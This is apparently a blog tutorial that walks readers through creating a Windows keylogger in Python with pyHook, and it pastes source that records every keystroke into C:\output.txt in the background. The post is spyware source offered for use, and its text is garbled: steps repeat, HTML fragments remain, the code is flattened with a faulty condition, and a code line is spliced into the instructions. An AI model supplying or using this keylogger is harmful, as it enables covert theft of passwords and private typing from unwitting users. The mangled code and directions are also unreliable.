Hello friends myself debabratodas and I am going to teach you today how to create a keylogger. This is a very simple method you can create a keylogger by using python
You just need to follow the steps
1. Open python from start menu
2. You can see a blank screen there. Now you just need to paste the code which I will give below this line

You just need to follow the steps
1. Open python from start menu
2. You can see a blank screen there. Now you just need to paste the code which I will give below this line

blockquote class="tr_bq">
import win32api import sys import pythoncom, pyHook buffer = '' def OnKeyboardEvent(event): if event.Ascii == 5: sys.exit() if event.Ascii != 0 or 8: f = open ('c:\\output.txt', 'a') keylogs = chr(event.Ascii) if event.Ascii == 13: keylogs = keylogs + '\n' f.write(keylogs) f.close() while True: hm = pyHook.HookManager() hm.KeyDown = OnKeyboardEvent hm.HookKeyboard()
3. Now you just need to save the file aspythoncom.PumpMessages()
keylogger.py
Note:-
Press CTRL + R: the keylogger will come started in the background and will run until the log file “C: \ output.txt” anything that will typed on the keyboard.
Comments
Post a Comment